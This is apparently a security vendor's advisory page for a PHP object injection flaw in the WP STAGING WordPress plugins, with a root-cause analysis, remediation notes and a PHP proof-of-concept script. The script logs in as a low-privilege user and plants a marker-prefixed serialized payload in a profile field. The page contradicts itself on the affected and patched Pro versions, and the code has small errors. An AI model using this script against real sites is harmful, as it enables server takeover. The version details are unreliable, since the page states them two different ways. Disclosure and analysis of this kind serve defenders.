Published : November 18, 2026

CVE-2026-109555: WP STAGING <= 4.17.0 and WP STAGING Pro <= 6.17.0 Authenticated (Subscriber+) PHP Object Injection to Remote Code Execution via Database Restore and Staging Reset PoC, Patch Analysis & Rule

Severity High (CVSS 8.0)
CWE 502
Vulnerable Version 6.17.0
Patched Version —
Disclosed November 17, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-109555 (metadata-based): This vulnerability is an authenticated PHP Object Injection (CWE-502) in WP STAGING (<= 4.17.0) and WP STAGING Pro (<= 6.18.0). It lets a Subscriber-level user plant a serialized object in their profile. A later database restore or staging reset by an Administrator deserializes that object and triggers a built-in POP chain, leading to arbitrary code execution, arbitrary local file read (both plugins), and arbitrary file deletion (Pro). CVSS 8.0 (AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H) confirms high impact with a low-privilege authenticated attacker and required user interaction (the admin restore).

Root Cause: The database importer treats attacker-controlled text beginning with the literal marker {WPSTG_BINARY} as trusted internal binary data. It decodes the hexadecimal suffix into raw bytes and then deserializes those bytes. The CWE-502 classification and the description of the marker-triggered hex decoding are confirmed by the CVE text. Atomic Edge analysis infers that the importer lacks a provenance check on restored database rows: it does not distinguish values that originated from a Subscriber's profile from values that originated from a trusted backup. The profile metadata is read back and unserialized during the restore or on a subsequent request. No code diff is available, so the exact function names, hooks, and gadget classes are inferred from standard WordPress plugin patterns and the described POP chain behavior.

Exploitation: The attacker must first hold a Subscriber or higher account and update a profile field (for example the description or a custom meta field) with a payload that begins with {WPSTG_BINARY} followed by the hex encoding of a serialized object. The serialized object selects a gadget chain present in the plugin that reaches a dangerous sink (code execution, file read, or file delete in Pro). The attacker then waits for or induces an Administrator to run an ordinary database-including restore or a staging reset that includes that profile row. The importer decodes the hex suffix and calls unserialize on the resulting bytes. The built-in POP chain fires, and the sink executes. This is not a direct request-to-RCE path. It is a stored, second-order object injection that depends on the privileged restore or reset. The attacker does not need Administrator credentials and does not need a copy of the backup.

Remediation: The fix must remove the untrusted deserialization path. The importer should stop treating any value from a restored database as trusted binary solely because it carries the {WPSTG_BINARY} marker. Acceptable fixes include: rejecting or escaping the marker in user-controlled profile data, validating that the marker only appears in rows written by the plugin's own backup process, and replacing unserialize with a safe format (JSON) or with allowed_classes set to false. The patched version 6.18.0 presumably enforces provenance on the marker and restricts the classes available to deserialization. Atomic Edge research treats these remediation details as inferred from CWE-502, not confirmed from code.

Impact: Successful exploitation gives the attacker arbitrary code execution on the WordPress server under the web server user. That means full site compromise, data theft, persistence, and lateral movement. The same primitive enables arbitrary local file read in both editions and arbitrary file deletion in Pro. Because the trigger is a routine administrative restore or reset, the attack is stealthy: the malicious value sits in a normal profile row until an admin performs a legitimate maintenance action.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-109555 - WP STAGING <= 4.17.0 / Pro <= 6.17.0 Authenticated (Subscriber+) PHP Object Injection to RCE
//
// Assumptions (inferred from metadata, no code diff available):
// 1. A Subscriber-level account can update its own profile fields via the standard WordPress
//    profile update flow (wp-admin/profile.php or the REST users endpoint).
// 2. The database importer recognizes values beginning with {WPSTG_BINARY}, hex-decodes the
//    suffix, and unserializes the result.
// 3. A gadget chain exists in the plugin that reaches a dangerous sink. The exact class names
//    are unknown without the source, so this PoC uses a placeholder serialized payload that
//    must be replaced with a chain discovered by the operator.
//
// This script only plants the payload. It does NOT trigger the restore. The attacker must wait
// for or induce an Administrator to run a database-including restore or a staging reset.

$target_url = 'http://wordpress.local';
$subscriber_user = 'subscriber';
$subscriber_pass = 'subscriber-password';

// Placeholder serialized object. Replace with the real POP chain payload.
// The snippet below is a generic object that demonstrates the injection point only.
$serialized_payload = 'O:8:"stdClass":1:{s:4:"exec";s:2:"id";}';

// Build the marker-prefixed value that the importer treats as trusted binary data.
$hex = bin2hex($serialized_payload);
$planted_value = '{WPSTG_BINARY}' . $hex;

echo "[*] Serialized payload: " . $serialized_payload . "n";
echo "[*] Planted value: " . $planted_value . "n";

$cookie_jar = tempnam(sys_get_temp_dir(), 'cve109555');

// Step 1: Log in as the Subscriber.
$ch = curl_init($target_url . '/wp-login.php');
curl_setopt_array($ch, [
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $subscriber_user,
        'pwd' => $subscriber_pass,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1',
    ]),
    CURLOPT_COOKIEJAR => $cookie_jar,
    CURLOPT_COOKIEFILE => $cookie_jar,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
]);
curl_exec($ch);
curl_close($ch);

// Step 2: Update the Subscriber profile with the marker-prefixed value.
// The description field is used here as a likely user-controlled profile location.
$ch = curl_init($target_url . '/wp-admin/profile.php');
curl_setopt_array($ch, [
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'action' => 'update',
        'user_id' => '1',
        'description' => $planted_value,
        'submit' => 'Update Profile',
    ]),
    CURLOPT_COOKIEJAR => $cookie_jar,
    CURLOPT_COOKIEFILE => $cookie_jar,
    CURLOPT_RETURNTRANSFER => true,
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[*] Profile update HTTP status: " . $http_code . "n";
echo "[*] Payload planted. An Administrator must now run a database-including restore or staging reset.n";

@unlink($cookie_jar);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.